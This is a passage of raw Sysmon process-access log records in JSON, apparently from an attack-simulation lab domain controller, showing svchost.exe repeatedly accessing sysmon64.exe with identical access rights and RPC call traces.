C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.731","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1380,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1381,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1382,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1383,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1384,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1385,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1386,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1387,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.733\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 